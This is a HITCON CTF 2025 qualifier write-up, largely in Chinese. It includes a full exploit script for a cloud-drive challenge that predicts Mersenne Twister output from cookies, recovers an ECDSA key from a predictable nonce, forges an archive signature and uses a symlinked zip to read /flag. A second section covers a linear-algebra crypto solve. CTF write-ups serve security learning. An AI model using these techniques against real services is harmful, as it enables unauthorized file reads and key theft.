# HITCON CTF quals 2025 writeup
I participated in this CTF with team B33P 50UP, primarily solving crypto problems.

## simple-drive
這是一個雲端的檔案系統，有一個根目錄，正常的路徑訪問會限定在這個目錄底下。但我們可以上傳一個裝軟連結的 zip，解壓縮去做到任意路徑的讀檔。而上傳 zip 需要對 zip 檔案做簽名。

class Cookie:
    def __init__(self, user):
        self.user = user
        self.exp = time.time() + 60
        self.id = Cookie.gen()
    
    def gen():
        print("randbytes")
        return base64.b64encode(random.randbytes(32)).decode().rstrip('=')

會發現，使用者的 cookie 都是用 `random.randbytes` 生出來的，追進去看函式的實現會發現它等價於 `random.getrandbits(32 * 8)`，於是可以創建夠多的 cookie 就能預測接下來所有基於 `random.getrandbits` 的隨機數。

def sign(self, m):
    e = self.hash(m)
    z = e & ((1 << self.c.l) - 1)
    while True:
        k = random.randint(1, self.c.n - 1)
        print(k)
        p = k * self.c.g
        r = p.x % self.c.n
        if r == 0:
            continue
        s = pow(k, -1, self.c.n) * (z + r * self.key) % self.c.n
        if s != 0:
            break
    return (r, s)

再觀察 ecdsa，會發現 k 是用 `random.randint` 生出來的，可以預測，這代表我們只要獲得明文和 `m` 的 hash，就能洩漏出私鑰。

def verify_signature(archive, salt):
    data, sig = archive[:-Archive.FOOTER.size], archive[-Archive.FOOTER.size:]
    sig = Archive.FOOTER.unpack(sig)
    sig = (int.from_bytes(sig[0]), int.from_bytes(sig[1]))
    return signer.verify(salt + data, sig)

另一個問題是 hash 的時候會加一個 salt，這個 salt 是用較安全的隨機數來生的，但很幸運的發現當我們先用 `/backup` 去打包後，可以用 `/hash` 去取得 hash。這樣，我們就能獲得私鑰。

接下來麻煩的點是，當我們創建一個 zip archive 之後，也需要加這個 salt 再 hash 去簽名，雖然有一個 `fetch_salt` 函式可以去拿 salt，但它不可能通過。可以發現 `/hash` 是不會檢查簽名與內容的，只會檢查 zip archive 的 header，於是可以將 zip data 替換掉，把 header 中的 crc 改成新的 crc，就可以獲得新的 zip data 加過 salt 的 hash。

最後就是用以下命令創建 zip 檔案，然後上傳、解壓、讀檔，就成功了：

$ ln -s /flag evil
$ zip --symlinks evil.zip evil

最後是 exploit：

import requests
import random
from Crypto.Util.number import *
from base64 import *
import struct

# https://github.com/maple3142/gf2bv
from gf2bv import LinearSystem
from gf2bv.crypto.mt import MT19937
import hashlib
from src import ec
import binascii

url = "http://simple-drive.chal.hitconctf.com:54082"

def register(username: str, password: str):
    data = {"username": username, "password": password}
    return requests.post(f"{url}/register", data=data)

def login(username: str, password: str):
    data = {"username": username, "password": password}
    return requests.post(f"{url}/login", data=data)

def logout(cookie: str):
    return requests.post(f"{url}/logout", cookies={"hitconctf": cookie})

def b64toint(x: bytes):
    while len(x) % 4:
        x += b"="
    return int.from_bytes(b64decode(x), "little")




# req = requests.g
# req = requests.get("http://127.0.0.1:5487/register")
cookies = []

# ================
register("aaa", "bbb")

for i in range(78):
    req = login("aaa", "bbb")
    cookie = req.cookies["hitconctf"]
    cookies.append(b64toint(cookie.encode()))
    req = logout(cookie)


lin = LinearSystem([32] * 624)
mt = lin.gens()
rng = MT19937(mt)

zeros = []

for i in cookies:
    zeros.append(rng.getrandbits(32 * 8) ^ i)

sol = lin.solve_one(zeros)
rng = MT19937(sol).to_python_random()

for i in cookies:
    rng.getrandbits(32 * 8)

req = login("aaa", "bbb")
cookie = req.cookies["hitconctf"]
print(b64toint(cookie.encode()) == rng.getrandbits(32 * 8))

# =========


def get_hash(cookie: str, archive: bytes):
    return requests.get(f"{url}/hash", cookies={"hitconctf": cookie}, data=archive)

def backup(cookie: str):
    return requests.get(f"{url}/backup", cookies={"hitconctf": cookie})

def mkdir(cookie: str, path: str):
    return requests.post(f"{url}/mkdir?path={path}", cookies={"hitconctf": cookie})


signer = ec.secp256k1()
n, l, g = signer.n, signer.l, signer.g

HEADER = struct.Struct('<I16sd16sI')
FOOTER = struct.Struct('<32s32s')

# print(backup(cookie))



print(mkdir(cookie, "yee"))
data = backup(cookie).content
e = int(get_hash(cookie, data).content.decode())
z = e & ((1 << l) - 1)
sig0, sig1 = FOOTER.unpack(data[-64:])
r = bytes_to_long(sig0)
s = bytes_to_long(sig1)
k = rng.randint(1, n - 1)

sk = (s * k - z) * pow(r, -1, n) % n
print(sk)

def sign(e):
    z = e & ((1 << l) - 1)
    while True:
        k = rng.randint(1, n - 1)
        print(k)
        p = k * g
        r = p.x % n
        if r == 0:
            continue
        s = pow(k, -1, n) * (z + r * sk) % n
        if s != 0:
            break
    return (r, s)


# get hash
org_archive = data
header, zipdata = org_archive[:HEADER.size], org_archive[HEADER.size:-FOOTER.size]
signature, aid, ts, uid, crc = HEADER.unpack(header)
with open("evil.zip", "rb") as f:
    new_zipdata = f.read()

new_crc = binascii.crc32(new_zipdata)
new_archive = HEADER.pack(signature, aid, ts, uid, new_crc) + new_zipdata + data[-FOOTER.size:]

# sign
e = int(get_hash(cookie, new_archive).content.decode())
sig = sign(e)
new_archive = new_archive[:-FOOTER.size] + FOOTER.pack(sig[0].to_bytes(32), sig[1].to_bytes(32))
print(new_archive)
# zip --symlinks evil.zip evil  



# upload
req = requests.post(f"{url}/restore", cookies={"hitconctf": cookie}, data=new_archive)
print(req)

req = requests.get(f"{url}/read?path=evil", cookies={"hitconctf": cookie})
print(req.content)
# hitcon{S7r4Ng3_z1P_f0rM4t_w17H_p0Or_S1gn47uR3_1sn7_17}

flag：`hitcon{S7r4Ng3_z1P_f0rM4t_w17H_p0Or_S1gn47uR3_1sn7_17}`
## simple-drive-revenge
很幸運的，使用和上一題一樣的 exploit 就成功了。
flag：`hitcon{1m_B4cK!wH475_4_po0R_4r1vIA1_bUG5_unF0RtUn4731y}`
## sharing is caring
用 pylingual 反編譯，再稍微解混淆一下就能生出可以讀懂的東西。
裡面有個拉格朗日差值，不過它更偏向是一個 hash 函式，拿來生出一些常數。

if __name__ == '__main__':
    input1 = int.from_bytes(input('1:').strip().encode())
    input2 = int.from_bytes(input('2:').strip().encode())
    input3 = int.from_bytes(input('3:').strip().encode())
    if flag_checker(([lagrange(22), input1, lagrange(23)], [lagrange(24), input2, lagrange(25)], [lagrange(26), input3, lagrange(27)])):
        print('Success!')
    else:  # inserted
        print('Fail')

我們要做的事情是送 3 個數字通過這個 `flag_checker`。
在理面有另外 3 組數字（3 個 3 個一組），要這總共 6 組數字都通過以下函式才會正確：

arr = [f4, f5, f6]
def check(a, b, c):
    lhs = pow(f2, b, p) * pow(f3, c, p) % p
    rhs = 1
    tmp = 1
    for i in arr:
        rhs = rhs * pow(i, tmp, p) % p
        tmp = tmp * a % q
    return lhs == rhs

數學表達的話是以下：
$$f_2^b\times f_3^c=f_4\times f_5^{a}\times f_6^{a^2}$$
它給的 3 組數字很顯然的一定會滿足，另外三組數字只給我 $a$ 和 $c$，要算出一個 $b$，這等於是要解一個離散對數問題，而 $p-1$ 不是平滑的，所以這個問題是困難的。

做一個小觀察，對於每個 $a$、$c$ 數組，可以用 $(1, a, a^2, -c)$ 組成一個向量，如果某個數組對應到的向量可以用一些已知 b 的向量線性組合出來，那麼可以用相同的係數把 b 也組合出來。於是去嘗試一下目標向量是否會在已知的 3 個向量張出的空間中：

for i, j, k in matrix_vals:
    basis.append(vector(GF(q), [1, i, i*i, -k]))

M = matrix(GF(q), basis)
S = VectorSpace(GF(q), 4).span(basis)
x, z = lagrange_interpolate(24), lagrange_interpolate(25)
v = vector(GF(q), [1, x, x*x, -z])
print(v in S) # true

會發現他們確實都在這個向量空間中，於是就可以寫 exploit：

from Crypto.Util.number import *

coeffs = [4144803293417776131310451317495228706499130241044716671850484110288180082374299088166459295448719, (-2072401646708888065655225658747614353249565120522358335925242055144090041187149544083229647724360), 1402769202505631727601810730581776197716350949074282314174097681867464170562021714349605843278665, (-266910464101355921528772386602523543917783644737516474351090027562514187410064675818699897958587), (-313229353281522365344068664569836505240104176843824464617477560855244400498647725320806722489359), 557751498740761784158621178035559059268846555052211907264408739687389120087425335352771649978396, (-148220410045571281675213691246814858326140849250454299621527572224931143542450173517412542679173), 564587776942621790900159644909288844361323691524579619089869964015177357514421646000222366841011, 16419311167856483659743166580345122059429852687371972090030542491766200835221304811819328984127643, (-129495574458812869075479900411721351204283016397163153311462604211940551198569895507569182199080813), 47898868564720804115714682250274391102579185635034480293836524415742949562361820585750668129254529, (-218390354027018310133763040209628187632374060689193498603396047814125983080443006327100714094044413), 59103242197276592018409321873953124131699316618422104513410197920897935735761382943069825870316159, (-27263762963672679216265023144097755508375724831456195913391130341016602743379285802111387508470863), 1160187342824936887648971210216937643772466507360201042905423657153536580858662152125535660765491989, (-444320422098364618829295716221878629448833826150298094515910374813093990742157048727647821855149363), 3391657179499987245173012089157446876066874678381207432018307585249041358997171094264590277038007977, (-24577331115755648042095942172693201165277671886951704215934044389070300940570840382524224198279961), 1269071325010846032881520707673575200237482393580774435940684724230748033745143799781707960856809939, (-7726874421105907152194917563460067676020997409790741668467611810647472035036892326157134516638801157), 52668298578428194831854365844392870064649623064538094318250290519368281728564224127244694555479507759, (-14912585782593436965791721815706880430658073768879853640660934490173887905327298345044778117728763977), 20665009833075583446533567863500153284398139825571833690969943149563885799810347822665143905426735039, (-4881669849418826679690882149267389579292004979139066657955496750719085286782861933735958022689574551), 19727966805580144784665343549651570513281612075070319397079427974816184475541029955406232208165236847, (-412912430703112866772671727077127791058157331577997254034268890188791073228873359777862031674718585977), 133658941250435616035761147529730684421152093449583968335054480106579383066071224012305258698560296819, (-458807313057700431931426630680383859744706640412367673276163407570064822322611955042530141076353045301)]

a = [1,1,2,2,12,15,10,240,40320,362880,403200,7983360,11975040,37065600,0x2E6519800,0xA261D9400,0x32BE93E4000,0x466BBD9000,0xC218F5AE8000,0x4807432BC18000,0x21C3677C82B40000,0xB141DF4DAE310000,0xF3BA930ACF8360000,0x280A89874301780000,0x5B65F7240DD14400000,0x446E0208A903029400000,0xDE65869C2549C86100000,0x211D3C0B03AB74E50800000]

def lagrange_interpolate(x):
    if x in (17, 18):
        return 18 - x
    from fractions import Fraction as F
    n = len(coeffs)
    result = F(0, 1)
    term = F(1, 1)
    for i in range(n):
        result += F(coeffs[i], a[i]) * term
        term *= F(x - i, 1)
    return int(result)


p = lagrange_interpolate(0)
q = lagrange_interpolate(1)

x, z = 22, 23

arr = [lagrange_interpolate(4), lagrange_interpolate(5), lagrange_interpolate(6)]
matrix_vals = [(lagrange_interpolate(7), lagrange_interpolate(8), lagrange_interpolate(9)), 
               (lagrange_interpolate(10), lagrange_interpolate(11), lagrange_interpolate(12)), 
               (lagrange_interpolate(13), lagrange_interpolate(14), lagrange_interpolate(15))]

f2 = lagrange_interpolate(2)
f3 = lagrange_interpolate(3)

def check(a, b, c):
    lhs = pow(f2, b, p) * pow(f3, c, p) % p
    # lhs = mul(_pow(f2, b, p), _pow(f3, c, p)) % p
    rhs = 1
    tmp = 1
    for i in arr:
        rhs = rhs * pow(i, tmp, p) % p
        tmp = tmp * a % q
    return lhs == rhs

from sage.all import *

basis = []

for i, j, k in matrix_vals:
    basis.append(vector(GF(q), [1, i, i*i, -k]))


M = matrix(GF(q), basis)

from Crypto.Util.number import *

sols = []

x, z = lagrange_interpolate(22), lagrange_interpolate(23)
v = vector(GF(q), [1, x, x*x, -z])
sol = M.solve_left(v)
y = int(sol[0] * matrix_vals[0][1] + sol[1] * matrix_vals[1][1] + sol[2] * matrix_vals[2][1])
sols.append(long_to_bytes(y))


x, z = lagrange_interpolate(24), lagrange_interpolate(25)
v = vector(GF(q), [1, x, x*x, -z])
sol = M.solve_left(v)
y = int(sol[0] * matrix_vals[0][1] + sol[1] * matrix_vals[1][1] + sol[2] * matrix_vals[2][1])
sols.append(long_to_bytes(y))

x, z = lagrange_interpolate(26), lagrange_interpolate(27)
v = vector(GF(q), [1, x, x*x, -z])
sol = M.solve_left(v)
y = int(sol[0] * matrix_vals[0][1] + sol[1] * matrix_vals[1][1] + sol[2] * matrix_vals[2][1])
sols.append(long_to_bytes(y))

print(b"".join(sols))

flag：`hitcon{Like_I_said_....._sharing_is_caring_and_caring_is_finding_the_right_share_4f63bf95789178799874ddf1c1bd6ad6b6297b}`